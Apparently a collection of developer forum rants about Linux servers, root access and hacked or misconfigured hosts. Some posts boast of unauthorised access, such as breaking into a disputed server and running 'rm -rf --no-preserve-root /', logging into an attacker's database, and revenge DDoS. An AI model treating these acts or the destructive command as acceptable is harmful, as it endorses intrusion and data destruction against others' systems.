I was engaged as a contractor to help a major bank convert its servers from physical to virtual. It was 2010, when virtual was starting to eclipse physical. The consulting firm the bank hired to oversee the project had already decided that the conversions would be performed by a piece of software made by another company with whom the consulting firm was in bed.
I was brought in as a Linux expert, and told to, "make it work." The selected software, I found out without a lot of effort or exposure, eats shit. With whip cream. Part of the plan was to, "right-size" filesystems down to new desired sizes, and we found out that was one of the many things it could not do. Also, it required root SSH access to the server being converted. Just garbage.
I was very frustrated by the imposition of this terrible software, and started to butt heads with the consulting firm's project manager assigned to our team. Finally, during project planning meetings, I put together a P2V solution made with a customized Linux Rescue CD, perl, rsync, and LVM.
The selected software took about 45 minutes to do an initial conversion to the VM, and about 25 minutes to do a subsequent sync, which was part of the plan, for the final sync before cutover.
The tool I built took about 5 minutes to do the initial conversion, and about 30-45 seconds to do the final sync, and was able to satisfy every business requirement the selected software was unable to meet, and about which the consultants just shrugged.
The project manager got wind of this, and tried to get them to release my contract. He told management what I had built, against his instructions. They did not release my contract. They hired more people and assigned them to me to help build this tool.
They traveled to me and we refined it down to a simple portable ISO that remained in use as the default method for Linux for years after I left.
Fast forward to 2015. I'm interviewing for the position I have now, and one of the guys on the tech screen call says he worked for the same bank later and used that tool I wrote, and loved it. I think it was his endorsement that pushed me over and got me an offer for $15K more than I asked for.4 -
thought I'd type:netstat -atn on my server and the result was a bit scary, found a Russian IP address with state of: FIN_WAIT1
Either Fail2ban was closing his connection or that dude was able to access my server :/
Checked /var/log/auth.log
and found this for his IP: Failed password for root from ----- port 37635 ssh2
I hope I'm still safe :)
Instantly disable password login and make it only SSH
but now I need to carry my SSH keys or else I'm blocked out lol9 -
I think I've got a working searx instance which I'd open up for the public.
NOTE: I cannot prove that I don't store anything because for that you'd need root access to the server which I won't give obviously. If you're not comfortable with that, just don't uses it.
I still have to do something for ip address logging anonymising or stripping, though. (nginx + CSF provided enough abuse prevention).
Tips on that?29 -
I've found and fixed any kind of "bad bug" I can think of over my career from allowing negative financial transfers to weird platform specific behaviour, here are a few of the more interesting ones that come to mind...
#1 - Most expensive lesson learned
Almost 10 years ago (while learning to code) I wrote a loyalty card system that ended up going national. Fast forward 2 years and by some miracle the system still worked and had services running on 500+ POS servers in large retail stores uploading thousands of transactions each second - due to this increased traffic to stay ahead of any trouble we decided to add a loadbalancer to our backend.
This was simply a matter of re-assigning the IP and would cause 10-15 minutes of downtime (for the first time ever), we made the switch and everything seemed perfect. Too perfect...
After 10 minutes every phone in the office started going beserk - calls where coming in about store servers irreparably crashing all over the country taking all the tills offline and forcing them to close doors midday. It was bad and we couldn't conceive how it could possibly be us or our software to blame.
Turns out we made the local service write any web service errors to a log file upon failure for debugging purposes before retrying - a perfectly sensible thing to do if I hadn't forgotten to check the size of or clear the log file. In about 15 minutes of downtime each stores error log proceeded to grow and consume every available byte of HD space before crashing windows.
#2 - Hardest to find
This was a true "Nessie" bug.. We had a single codebase powering a few hundred sites. Every now and then at some point the web server would spontaneously die and vommit a bunch of sql statements and sensitive data back to the user causing huge concern but I could never remotely replicate the behaviour - until 4 years later it happened to one of our support staff and I could pull out their network & session info.
Turns out years back when the server was first setup each domain was added as an individual "Site" on IIS but shared the same root directory and hence the same session path. It would have remained unnoticed if we had not grown but as our traffic increased ever so often 2 users of different sites would end up sharing a session id causing the server to promptly implode on itself.
#3 - Most elegant fix
Same bastard IIS server as #2. Codebase was the most unsecure unstable travesty I've ever worked with - sql injection vuns in EVERY URL, sql statements stored in COOKIES... this thing was irreparably fucked up but had to stay online until it could be replaced. Basically every other day it got hit by bots ended up sending bluepill spam or mining shitcoin and I would simply delete the instance and recreate it in a semi un-compromised state which was an acceptable solution for the business for uptime... until we we're DDOS'ed for 5 days straight.
My hands were tied and there was no way to mitigate it except for stopping individual sites as they came under attack and starting them after it subsided... (for some reason they seemed to be targeting by domain instead of ip). After 3 days of doing this manually I was given the go ahead to use any resources necessary to make it stop and especially since it was IIS6 I had no fucking clue where to start.
So I stuck to what I knew and deployed a $5 vm running an Nginx reverse proxy with heavy caching and rate limiting linked to a custom fail2ban plugin in in front of the insecure server. The attacks died instantly, the server sped up 10x and was never compromised by bots again (presumably since they got back a linux user agent). To this day I marvel at this miracle $5 fix.1 -
THE WORST PRANK ATTEMPT
If i remember true, it was 2012. april fool day..
me and my co-worker (we were the founders) decided to fool our members (we had a script's unofficial support forum). so, we did the plan. we register another account on march and wrote a few useful messages with it. help guys with that fake account (named as Root).
on fool day, we move the site to hidden folder (but didnt backup it) and added an index file as "hi, i am Root. you know me who am i. i hacked this site and deleted all dbs. cya later" (in turkish of course)
and we sit our chairs, began the watch our messages from facebook,skype,whatsapp etc..
we act like we are in trouble and we cant solve the problem.
at the same time, one of the our crew, decided to help us :D
so, he contact with our server's management crew. they dont know the fool too :)
server management looked up the situation without try to contact with me or my co. and we got an email from server like that
"hello tilkibey and impack, we just realized your site is hacked. so we delete your all ftp and db for safety. please contact with us asap"
we shocked and contact with them, explain the truths and request the recover our site (because we though they backup site before deleting all things). but they didnt backup it :(
so, we recover our last backup which is got nearly 10 days ago :(8 -
My boss thinks that DevOps is the developers SSHing into a server as root and typing 'git pull'
If firearms were legal where I live I would have blown my brains out a long time ago.6 -
One developer to me:
I will need access to root account on that new machine you just installed so that I can install/configure all the stuff and so you won't have to do it.
Me - I can't give you root. Not even sudo, this will be a production machine, I need to have a clean track of it.
D - but I will give it (root) back to you once I'm done.
Me - look pal, root access is like virginity. I can give it away but I will never be able to get it back.
D - But you can remove my access later. And, talking about virginity, there are operations that "restore" virginity ;)
Me - yes, and I can take access to root from you afterwards, which would be similar to the procedure you are referring to. But it won't change the fact that the server was already fucked. -
So my previous alma mater's IT servers are really hacked easily. They run mostly in Microsoft Windows Server and Active Directory and only the gateway runs in Linux. When I checked the stationed IT's computer he was having problems which I think was another intrusion.
I asked the guy if I can get root access on the Gateway server. He was hesitant at first but I told him I worked with a local Linux server before. He jested, sent me to the server room with his supervision. He gave me the credentials and told me "10 minutes".
What I did?
I just installed fail2ban, iptables, and basically blocked those IP ranges used by the attacker. The attack quickly subsided.
Later we found out it was a local attack and the attacker was brute forcing the SSH port. We triaged it to one kid in the lobby who was doing the brute forcing connected in the lobby WiFi. Turns out he was a script kiddie and has no knowledge I was tracking his attacks via fail2ban logs.
Moral of lesson: make sure your IT secures everything in place.1 -
Junior dev requests for sudo access on a server instance for some package installation, gets it, figures out how to open the root shell - never goes back. They do everything on root.
Fast forward to production deployment time, their application won't run without elevated privileges. Sysadmin asks why does the application require elevated privileges. Dev answers, "Because I set it up with root" :facepalm:15 -
Ok I need to know who is in the wrong and who is in the right so voice your opinion in the comments...
I develop for Minecraft and do systems administration, yeah yeah games are for kids but luckily I am one and I'm enjoying them while I can. I was asked by the owner of a large game network (~500 players online at a time) to do systems administration and development, I agreed and he promised pay at some point. So me and my developer friends went on with our life and worked on the server pretty much every night for all of November.
We released and the server went great, then one of the owners bailed with $3,000 and blocked all of us. No problem we will just fix the donations to go to our buisness PayPal. We changed it and the owner made ~$2,000. Each of the developers including me was told we would get paid $500 a piece.
So yesterday the owner bails and starts selling our plugins without even having paid us and then sells the network to another guy for $2,000. (That's well enough to pay us) did he pay us? nope. New owner of the network comes in and is all like "well let's the server back up on my dedicated box" I tried to ssh into the server... Nothing the port is closed. I called the host and they neglected to tell us anything except that the owner of the server requested he ceased all access to the server.
I needed a solution so we had the owner of the hosting company get into the call and while the owner of our server distracted him I did a complete port scan, found the new SSH port, exploited the fact that he never changed ssh keys and uploaded all the files to a cloud instance. Then I ran this on the server... "rm -rf --no-preserve-root /" now our server is happily up and under proper ownership and we all got paid...
Was breaking into the server the right thing to do though?7 -
So probably about a decade ago at this point I was working for free for a friend's start-up hosting company. He had rented out a high-end server in some data center and sold out virtualized chunks to clients.
This is back when you had only a few options for running virtual servers, but the market was taking off like a bat out of hell. In our case, we used User-Mode Linux (UML).
UML is essentially a kernel hack that lets you run the kernel in user space. That alone helps keep things separate or jailed. I'm pretty sure some of you can shed more light on it, but that's as I understood it at the time and I wasn't too shabby at hacking the kernel when we'd have driver issues.
Anyway, one of the ways my friend would on-board someone was to generate a new disk image file, mount it, and then chroot to that mount path. He'd basically use a stock image to do this and then wipe it out before putting it live.
I'm not sure exactly what he was doing at the time, but I got a panicked message on New Years Day saying that he had deleted everything. By everything, he had done an rm -fr /home as root on what he had thought was the root of a drive image.
It wasn't an image. It was the host server.
In the stoke of a single command, all user data was lost. We were pretty much screwed, but I have a knack for not giving up - so I spent a ton of time investigating linux file recovery.
Fun fact about UML - since the kernel runs in user space as a regular ol' process, anything it opens is attached to that process. I had noticed that while the files were "gone", I could still see disk usage. I ended up finding the images attached to their file pointers associated with each running kernel - and thankfully all customers were running at the time.
The next part was crazy, and I still think is crazy. I don't remember the command, but I had to essentially copy the image from the referenced path into a new image file, then shutdown the kernel and power it back on from the new image. We had configs all set aside, so that was easy. When it finally worked I was floored.
Rinse and repeat, I managed to drag every last missing bit out of /proc - with the only side effect being that all MySQL databases needed to be cleaned up.3 -
After 'Dev' deployed a service using Azure ServiceBus, a particular queue/client was receiving errors.
Dev: "Looking at the logs, client is getting faulted."
Me: 'What is the error being logged?'
Dev: 'Client is faulted'
Me: 'No, that is our error when the client is either unable to connect or there is an exception in the middle of sending a message. What is the exception from Azure?'
Dev: 'Client is faulted. That's it. I'm going to have to re-engineer the code to implement a retry policy.'
<OK, I smell someone cooking up some solution finding, so I dig into the logs a little further>
Me: "Looks like an invalid connection string. The actual exception being thrown and logged is from the Azure client connection string builder. The value cannot be null."
Dev: "No, I'm looking right at the connection string in the config. Looks fine."
Me: "Looks correct on your machine, but what is actually being deployed to the server?"
<I could tell he was getting agitated>
<Dev clicks around, about 10 min. later>
Dev: "Aha!..I found it. The connection string in the config on the main branch is wrong, in fact, the entry is missing."
<dev fixes, re-deploys, life is good, I document the error and the root cause>
Boss: "Great job Dev."
*sigh* ..go teamwork?3 -
My Sunday Morning until afternoon. FML. So I was experiencing nightly reboots of my home server for three days now. Always at 3:12am strange thing. Sunday morning (10am ca) I thought I'd investigate because the reboots affected my backups as well. All the logs and the security mails said was that some processes received signal 11. Strange. Checked the periodics tasks and executed every task manually. Nothing special. Strange. Checked smart status for all disks. Two disks where having CRC errors. Not many but a couple. Oh well. Changing sata cables again 🙄. But those CRC errors cannot be the reason for the reboots at precisely the same time each night. I noticed that all my zpools got scrubbed except my root-pool which hasn't been scrubbed since the error first occured. Well, let's do it by hand: zpool scrub zroot....Freeze. dafuq. Walked over to the server and resetted. Waited 10 minutes. System not up yet. Fuuu...that was when I first guessed that Sunday won't be that sunny after all. Connected monitor. Reset. Black screen?!?! Disconnected all disks aso. Reset. Black screen. Oh c'moooon! CMOS reset. Black screen. Sigh. CMOS reset with a 5 minute battery removal. And new sata cable just in cable. Yes, boots again. Mood lightened... Now the system segfaults when importing zroot. Good damnit. Pulled out the FreeBSD bootstick. zpool import -R /tmp zroot...segfault. reboot. Read-only zroot import. Manually triggering checksum test with the zdb command. "Invalid blckptr type". Deep breath now. Destroyed pool, recreated it. Zfs send/recv from backup. Some more config. Reboot. Boots yeah ... Doesn't find files??? Reboot. Other error? Undefined symbols???? Now I need another coffee. Maybe I did something wrong during recovery? Not very likely but let's do it again...recover-recover. different but same horrible errors. What in the name...? Pulled out a really old disk. Put it in, boots fine. So it must be the disks. Walked around the house and searched for some new disks for a new 2 disk zfs root mirror to replace the obviously broken disks. Found some new ones even. Recovery boot, minimal FreeBSD Install for bootloader aso. Deleted and recreated zroot, zfs send/recv from backup. Set bootfs attribute, reboot........
It works again. Fuckit, now it is 6pm, I still haven't showered. Put both disks through extensive tests and checked every single block. These disks aren't faulty. But for some reason they froze my system in a way so that I had to reset my BIOS and they had really low level data errors....? I Wonder if those disks have a firmware problem? So that was most of my Sunday. Nice, isn't it? But hey: calm sea won't make a good sailor, right?3 -
//little Story of a sys admin
Wondered why a Server on my Linux Root couldn't build a network connection, even when it was running.
Checked iptables and saw, that the port of the Server was redirected to a different port.
I never added that rule to the firewall. Checked and a little script I used from someone else generated traffic for a mobile game.
OK beginn the DDoS Penetration. Over 10 Gbit/s on some small servers.
Checked Facebook and some idiot posted on my site:
Stop you little shithead or I will report you to the police!!!
Checked his profile page and he had a small shitty android game with a botnet.
Choose one:
1. let him be
2. Fuck him up for good
Lets Sudo with 2.
I scaled up my bandwith to 25 Gbit/s and found out that guys phone number.
Slowly started to eat away his bandwith for days. 3 days later his server was unreachable.
Then I masked my VoIP adress and called him:
Me: Hi, you know me?
He: No WTF! Why are you calling me.
Me: I love your're game a lot, I really love it.
He: What's wrong with you? Who are you?
Me: I'm teach
He: teach?
Me: Teach me lesson
He: Are you crazy I'm hanging up!
Me: I really love you're game. I even took away all your bandwith. Now you're servers are blocked, you're game banned on the store.
He: WHAT, WHAT? (hearing typing)
Me: Don't fuck with the wrong guys. I teached you a lesson, call me EL PENETRATO
He: FUCK Fuck Fuck you! Who are you???!!! I'm going to report you!
Me: How?
He: I got you're logs!
Me: Check it at Utrace...
He: Holy shit all around the world
Me: Lemme Smash Bitch
*hung up*4 -
I previously worked as a Linux/unix sysadmin. There was one app team owning like 4 servers accessible in a very speciffic way.
* logon to main jumpbox
* ssh to elevated-privileges jumpbox
* logon to regional jumpbox using custom-made ssh alternative [call it fkup]
* try to fkup to the app server to confirm that fkup daemon is dead
* logon to server's mgmt node [aix frame]
* ssh to server directly to find confirm sshd is dead too
* access server's console
* place root pswd request in passwords vault, chase 2 mangers via phone for approvals [to login to the vault, find my request and aprove it]
* use root pw to login to server's console, bounce sshd and fkupd
* logout from the console
* fkup into the server to get shell.
That's not the worst part... Aix'es are stable enough to run for years w/o needing any maintenance, do all this complexity could be bearable.
However, the app team used to log a change request asking to copy a new pdf file into that server every week and drop it to app directory, chown it to app user. Why can't they do that themselves you ask? Bcuz they 'only need this pdf to get there, that's all, and we're not wasting our time to raise access requests and chase for approvals just for a pdf...'
oh, and all these steps must be repeated each time a sysadmin tties to implement the change request as all the movements and decisions must be logged and justified.
Each server access takes roughly half an hour. 4 servers -> 2hrs.
So yeah.. Surely getting your accesses sorted out once is so much more time consuming and less efficient than logging a change request for sysadmins every week and wasting 2 frickin hours of my time to just copy a simple pdf for you.. Not to mention that threr's only a small team of sysadmins maintaining tens of thousands of servers and every minute we have we spend working. Lunch time takes 10-15 minutes or so.. Almost no time for coffee or restroom. And these guys are saying sparing a few hours to get their own accesses is 'a waste of their time'...
That was the time I discovered skrillex.3 -
We just got into a malicious bots database with root access.
So guard duty gave us some warnings for our tableau server, after investigating we found an ip that was spamming us trying all sorts. After trying some stuff we managed to access their MySQL database, root root logged us in. Anyway the database we just broke into seems to have schemas for not only the bot but also a few Chinese gambling websites. There are lots of payment details on here.
Big question, who do we report this to, and what's the best way to do so anonymously? I'm assuming the malicious bot has just hyjacked the server for these gambling sites so we won't touch those but dropping the schema the bot is using is also viable. However it has a list of other ips, trying those we found more compromised servers which we could also log in to with root root.
This is kinda ongoing, writing this as my coworker is digging through this more.11 -
So I found this server with a NFS share that was accessible to the public, and the good part is that the share was /root
-
The moment I switched to root user in the production server my hand was just itching to type rm -rf.
Must resist the urge!4 -
So as all of you web developers know. If you are stepping into the world of web development you stepping into a world of unlimited possibilities, opportunities and adventure.
The flip side is that you step into a world of unlimited choices, tools, best practices, tutorials etc.
Since even for a veteran programmer, this is a little overwhelming, I'd like to take the opportunity to ask you guys for advice.
I know that 'there is no best' and that everything 'depends on what you want to achieve'. So how about just say the pro's and cons or when to use and when not to use. Or why you prefer one over another. Everything is allowed! :D
Maybe it will help others too. Start a nice, professional discussion:)
These are the parts I'd like advice about:
- frontend: what frameworks, libraries
- backend: language, framework, good practice
- server: OS, proxy (nginx, Apache, passenger), extra tips (like don't use root user)
- extras: git, GitHub, docker, anything
Thanks in advance everyone willing to help!:)
Also, if you only know frontend or backend. No worries, just tell me about your specialism!6 -
A few days ago Aruba Cloud terminated my VPS's without notice (shortly after my previous rant about email spam). The reason behind it is rather mundane - while slightly tipsy I wanted to send some traffic back to those Chinese smtp-shop assholes.
Around half an hour later I found that e1.nixmagic.com had lost its network link. I logged into the admin panel at Aruba and connected to the recovery console. In the kernel log there was a mention of the main network link being unresponsive. Apparently Aruba Cloud's automated systems had cut it off.
Shortly afterwards I got an email about the suspension, requested that I get back to them within 72 hours.. despite the email being from a noreply address. Big brain right there.
Now one server wasn't yet a reason to consider this a major outage. I did have 3 edge nodes, all of which had equal duties and importance in the network. However an hour later I found that Aruba had also shut down the other 2 instances, despite those doing nothing wrong. Another hour later I found my account limited, unable to login to the admin panel. Oh and did I mention that for anything in that admin panel, you have to login to the customer area first? And that the account ID used to login there is more secure than the password? Yeah their password security is that good. Normally my passwords would be 64 random characters.. not there.
So with all my servers now gone, I immediately considered it an emergency. Aruba's employees had already left the office, and wouldn't get back to me until the next day (on-call be damned I guess?). So I had to immediately pull an all-nighter and deploy new servers elsewhere and move my DNS records to those ASAP. For that I chose Hetzner.
Now at Hetzner I was actually very pleasantly surprised at just how clean the interface was, how it puts the project front and center in everything, and just tells you "this is what this is and what it does", nothing else. Despite being a sysadmin myself, I find the hosting part of it insignificant. The project - the application that is to be hosted - that's what's important. Administration of a datacenter on the other hand is background stuff. Aruba's interface is very cluttered, on Hetzner it's super clean. Night and day difference.
Oh and the specs are better for the same price, the password security is actually decent, and the servers are already up despite me not having paid for anything yet. That's incredible if you ask me.. they actually trust a new customer to pay the bills afterwards. How about you Aruba Cloud? Oh yeah.. too much to ask for right. Even the network isn't something you can trust a long-time customer of yours with.
So everything has been set up again now, and there are some things I would like to stress about hosting providers.
You don't own the hardware. While you do have root access, you don't have hardware access at all. Remember that therefore you can't store anything on it that you can't afford to lose, have stolen, or otherwise compromised. This is something I kept in mind when I made my servers. The edge nodes do nothing but reverse proxying the services from my LXC containers at home. Therefore the edge nodes could go down, while the worker nodes still kept running. All that was necessary was a new set of reverse proxies. On the other hand, if e.g. my Gitea server were to be hosted directly on those VPS's, losing that would've been devastating. All my configs, projects, mirrors and shit are hosted there.
Also remember that your hosting provider can terminate you at any time, for any reason. Server redundancy is not enough. If you can afford multiple redundant servers, get them at different hosting providers. I've looked at Aruba Cloud's Terms of Use and this is indeed something they were legally allowed to do. Any reason, any time, no notice. They covered all their bases. Make sure you do too, and hope that you'll never need it.
Oh, right - this is a rant - Aruba Cloud you are a bunch of assholes. Kindly take a 1Gbps DDoS attack up your ass in exchange for that termination without notice, will you?5 -
Tfw you accidentally chmod'ed the entire root of your cloud server, because you've misplaced a "/".. Thank god, that there is such a thing called a 'backup'.
The amount of sweat and stress I had when the SSH disconnected and I couldn't log back in, the Apache and MySQL services that began to throw failures..
It's on moments like this, that you really appreciate the 24/7 customer-support! 😂
And all this while I was at my job, working for another company.. -
so today we used putty and coded the exercise within the university's server. i wanted to use "tree" to see all the files better cause thats what i normally use. turns out i had to install it.
i type in "sudo apt-install tree"
screen: no root priviledges. <university_login> is not included in root.txt. this will be reported immediately.
i forgot i needed root priviledges smh i just wanted to see my files better XD7 -
So one of my clients got their wordpress site hacked and basically just redirects to scam links and well.. I looked at in the server file manager and their are like three directories with this wordpress site (not clones but the same?) one in the root, a version in a folder called old and another in temp.. with 3 separate wp databases.. DNS entries had malware redirects, the wp-content folder was writable to the public and contained a temp folder with tons of encoded malware and ip links to malicious sites.. there was encoded malware in index.php, has like 20+ plugins, oh and the theme uses a dynamic web builder so the code is basically unreadable in source and scattered.. and the redirects seem to happen randomly or at least on a new session or something. Oh.. and did I mention there are no backups? 😃2
-
I gave this so called web developer username and password to ssh into our server. This is his reply:
"Hey we tried to log into your server. We are getting permission error. Please fix that"
Me: Sure, can you tell me how are you trying to connect?
"We tried to ssh like this: ssh root@xxx.com"
Me (in my mind): WHY THE FUCK ARE YOU USING ROOT FOR!?!9 -
It's impressive how much root can actually get you, that's debian running xfce on my lg g3 and chromium.
It's always nice to know that you can have a portable server etc. straight from your phone. I even used that kind of setup as a portable laptop some time ago and it worked quite well.
What things did you do via chrooted linux on android devices? would be interesting to know if somebody maybe is still using it as some kind of laptop as I did.13 -
Last Monday I bought an iPhone as a little music player, and just to see how iOS works or doesn't work.. which arguments against Apple are valid, which aren't etc. And at a price point of €60 for a secondhand SE I figured, why not. And needless to say I've jailbroken it shortly after.
Initially setting up the iPhone when coming from fairly unrestricted Android ended up being quite a chore. I just wanted to use this thing as a music player, so how would you do it..?
Well you first have to set up the phone, iCloud account and whatnot, yada yada... Asks for an email address and flat out rejects your email address if it's got "apple" in it, catch-all email servers be damned I guess. So I chose ishit at my domain instead, much better. Address information for billing.. just bullshit that, give it some nulls. Phone number.. well I guess I could just give it a secondary SIM card's number.
So now the phone has been set up, more or less. To get music on it was quite a maze solving experience in its own right. There's some stuff about it on the Debian and Arch Wikis but it's fairly outdated. From the iPhone itself you can install VLC and use its app directory, which I'll get back to later. Then from e.g. Safari, download any music file.. which it downloads to iCloud.. Think Different I guess. Go to your iCloud and pull it into the iPhone for real this time. Now you can share the file to your VLC app, at which point it initializes a database for that particular app.
The databases / app storage can be considered equivalent to the /data directories for applications in Android, minus /sdcard. There is little to no shared storage between apps, most stuff works through sharing from one app to another.
Now you can connect the iPhone to your computer and see a mount point for your pictures, and one for your documents. In that documents mount point, there are directories for each app, which you can just drag files into. For some reason the AFC protocol just hangs up when you try to delete files from your computer however... Think Different?
Anyway, the music has been put on it. Such features, what a nugget! It's less bad than I thought, but still pretty fucked up.
At that point I was fairly dejected and that didn't get better with an update from iOS 14.1 to iOS 14.3. Turns out that Apple in its nannying galore now turns down the volume to 50% every half an hour or so, "for hearing safety" and "EU regulations" that don't exist. Saying that I was fuming and wanting to smack this piece of shit into the wall would be an understatement. And even among the iSheep, I found very few people that thought this is fine. Though despite all that, there were still some. I have no idea what it would take to make those people finally reconsider.. maybe Tim Cook himself shoving an iPhone up their ass, or maybe they'd be honored that Tim Cook noticed them even then... But I digress.
And then, then it really started to take off because I finally ended up jailbreaking the thing. Many people think that it's only third-party apps, but that is far from true. It is equivalent to rooting, and you do get access to a Unix root account by doing it. The way you do it is usually a bootkit, which in a desktop's ring model would be a negative ring. The access level is extremely high.
So you can root it, great. What use is that in a locked down system where there's nothing available..? Aha, that's where the next thing comes in, 2 actually. Cydia has an OpenSSH server in it, and it just binds to port 22 and supports all of OpenSSH's known goodness. All of it, I'm using ed25519 keys and a CA to log into my phone! Fuck yea boi, what a nugget! This is better than Android even! And it doesn't end there.. there's a second thing it has up its sleeve. This thing has an apt package manager in it, which is easily equivalent to what Termux offers, at the system level! You can install not just common CLI applications, but even graphical apps from Cydia over the network!
Without a jailbreak, I would say that iOS is pretty fucking terrible and if you care about modding, you shouldn't use it. But jailbroken, fufu.. this thing trades many blows with Android in the modding scene. I've said it before, but what a nugget!8 -
Finally, I can play around with a proper server.
HP ProLiant DL380 G6 = dual 8-core Xenons @ 2.4GHz with 32GB RAM and 12TB / RAID1-0 of WD Purples (we happened to have them for some reason).
Already pissed at HP because they don't support JBOD and already pissed at myself for using CentOS, but other than that, enjoying the hell out of it!
And it's ALL MINE! ... Well, technically it's the org's, but it won't go into production for half a year and I'm the only one with the root access so, for now, it's MINE! 😅13 -
I get an email about an hour before I get into work: Our website is 502'ing and our company email addresses are all spammed! I login to the server, test if static files (served separately from site) works (they do). This means that my upstream proxy'd PHP-FPM process was fucked. I killed the daemon, checked the web root for sanity, and ran it again. Then, I set up rate limiting. Who knew such a site would get hit?
Some fucking script kiddie set up a proxy, ran Scrapy behind it, and crawled our site for DDoS-able URLs - even out of forms. I say script kiddie because no real hacker would hit this site (it's minor tourism in New Jersey), and the crawler was too advanced for joe shmoe to write. You're no match for well-tuned rate-limiting, asshole!1 -
TL;DR my first vps got hacked, the attacker flooded my server log when I successfully discovered and removed him so I couldn't use my server anymore because the log was taking up all the space on the server.
The first Linux VPN I ever had (when I was a noob and had just started with vServers and Linux in general, obviously) got hacked within 2 moths since I got it.
As I didn't knew much about securing a Linux server, I made all these "rookie" mistakes: having ssh on port 22, allowing root access via ssh, no key auth...
So, the server got hacked without me even noticing. Some time later, I received a mail from my hoster who said "hello, someone (probably you) is running portscans from your server" of which I had no idea... So I looked in the logs, and BAM, "successful root login" from an IP address which wasn't me.
After I found out the server got hacked, I reinstalled the whole server, changed the port and activated key auth and installed fail2ban.
Some days later, when I finally configured everything the way I wanted, I observed I couldn't do anything with that server anymore. Found out there was absolutely no space on the server. Made a scan to find files to delete and found a logfile. The ssh logfile. I took up a freaking 95 GB of space (of a total of 100gb on the server). Turned out the guy who broke into my server got upset I discovered him and bruteforced the shit out of my server flooding the logs with failed login attempts...
I guess I learnt how to properly secure a server from this attack 💪3 -
I went to uni for CompSci with knowing no prior knowledge.
In my first year of uni I created a DigitalOcean droplet to host an SQL server. I didn't change the root password or disable password login out of convenience and as I didn't think anyone would be able to find the IP address to be able to hack it.
Within 3 hours DigitalOcean had locked my account for using my droplet to send DDoS attacks. Support contacted me to ask what was going on. I knew nothing at the time so I was a bit 🤷♂️.
And that's when I learned the importance of changing your root password. -
Can someone help me understand?
I subscribed to a nifty IT-releated magazine, and on its back, there's an ad for "Dedicated root server hosting", nothing unusual at a first glance, but after I read the issue, I decided to humor them and see what it is that they offered, and... It just... Doesn't make sense to me!
An ad for "Dedicated Root Server" - What is a dedicated root server first of all? Root servers of any infrastructure sound pretty important.
But, the ad also boasts "High speed performance with the new Intel Core i9-9900K octa-core processor", that's the first weird thing.
Why would anyone responsible enough want to put an i9 into a highly-reliable root server, when the thing doesn't even support ECC? Also, come on, octa-core isn't much, I deal with servers that have anywhere between 2 and 24 cores. 8 isn't exactly a win, even if it has a higher per-core clock.
Oh, also, further down the ad has a list of, seeming, advantages/specs of the servers, they proclaim that the CPU "incl. Hyper-Threading-Technology"... Isn't that... Standard when it comes to servers? I have never seen a server without hyperthreading so far at my job.
"64 GBs of DDR4 RAM" - Fair enough, 64 gigs is a good amount, but... Again, its not ECC, something I would never put into a server.
"2 x 8 TB SATA Enterprise Hard Drive 7200 rpm" - Heh, "enterprise hard drive", another cheap marketing word, would impress me more if they mentioned an actual brand/model, but I'll bite, and say that at least the 7200 rpm is better than I expected.
"100 GBs of Backup Space" - That's... Really, really little. I've dealt with clients who's single database backup is larger than that. Especially with 2x8 TB HDD (Even accounting for software raids on top)
This one cracks me up - "Traffic unlimited"
Whaaaat?! You are not gonna give me a limit to the total transferred traffic to the internet for my server in your data center? Oh, how generous of you, only, the other case would make the server just an expensive paperweight! I thought this ad was for semi-professionals at least, so why mention traffic, and not bandwidth, the thing that matters much more when it comes to servers? How big of a bandwidth do I get? Don't tell me you use dialup for your "Dedicated Root Server"s!
"Location Germany or Finland" - Fair enough, geolocation can matter when it comes to latency.
"No minimum contract" - Oooh, how kiiiind of you, again, you are not gonna charge me extra for using the server only as long as I pay? How nice!
"Setup Fee £60" - I guess, fair enough, the server is not gonna set itself up, only...
The whole ad is for "monthly from £55.50", that's quite the large fee for setup.
Oh, and a cherry on top, the tiny print on the bottom mentions: "All prices exclude VAT and are a subject to..." blah blah blah.
Really? I thought that this sort of almost customer deceipt is present only in the common people's sphere!
I must say, there's being unimpressed, and then... There's this. Why, just... Why? Anyone understands this? Because I don't...12 -
Shit, again a long rant...
It all started 9 months ago.
We had a meeting with our group staff (5 people). Back the we discussed, if we should only work online or still send files around with mail.
Sure I suggested to run everything on a root server, would be the best performance/cost choice.
The president and the accounted refused, they said it's still working, why change. Payment will only be trough banktransfer and everybody keeps files local.
Back then I told them, that they will have sooner or later a problem. Files will be missing and bills not payd.
Last week we had a new meeting:
- Some of the group missed files.
- Some bills were unpaid
So now I have time until march to find and finish a groupware/collaboration tool.
I need to run member administration and payment online, this should be finished in October 2018. It should also do accounting.
Im really planing to use WooCommerce for this, I'm really crazy, I know! But I dont have time for that shit!
I work fulltime beside this and almost have no time to code something like that.
Well this week I demanded a memberlist, so I can plan a CRM database.
I received a word file as memberlist.
I asked them if this is a joke, right?!
They said no, thats the list. All the Data was mixed and some user details missing.
I HAD 3 HOURS TO GET IT DOWN IN EXCEL. WHY ARE YOU DOING THIS??? I REALLY WANNA PUNCH YOU ALL IN YOUR FACE!
When I sended it, I didn't receive a response or thanks.
The joke, I'm doing this stuff for free. I volontered, to make something big...
Im really going to shit Lego Bricks next... -
Okay. I’m upset. So the recent .NET update Microsoft put out fried SharePoint which I am currently the main point of contact for at our company. In addition, my only current projects are creating workflows.
I was publishing a workflow and got an error. I googled the error and found that it was the .NET update that caused it. Internet says to edit the web.config file for your web apps and it will be good to go. I go to our networks guy (only available supervisor) and explain what happened and ask about the recent patch and whether this could be the cause. He says that his team doesn’t actually handle the patches so I should speak with the HelpDesk lead (don’t ask).
I go to the HelpDesk lead and explain the situation, explain the solution and ask for what to do next. Keep in mind that this whole thing takes two hours because it’s Friday and everyone is out and I can’t do any of my work while I’m waiting on this. HelpDesk lead says “you have an admin account, I trust you. Go fix it” so I think uh okay.... I’m a junior and not even technically an IT person but sure. I know how to do it - but got nervous about fucking it up because our entire organization uses Sharepoint.
Nevertheless I go to my desk and look for the root directories and find that they’re on a server somewhere that I have no access to. I message the Helpdesk guy and tell him this and he says to talk to the developer supervisor. Great! He’s super nice and helpful and will totally understand! Only he’s not in. Neither is half of his team.
I go to his team and look around and find nobody but realize I may be able to catch one of the guys I know and work with in the break room. I start leaving and am stopped by a developer who is generally nice and funny. I explain the situation and he says “you... YOU need to edit a config file?” And scoffs. He demands to see what I’m talking about.
I walk him to my machine and show him what’s going on and all the research I did. I start to realize he thinks I’m overstepping and I begin to apologize and explain the details to why I was asked to do it and then I say “I really shouldn’t even be the one doing this” he says “no you should not. This isn’t getting done today. Put in a request, include your research and we will see what we can do when the supervisor gets back next week”
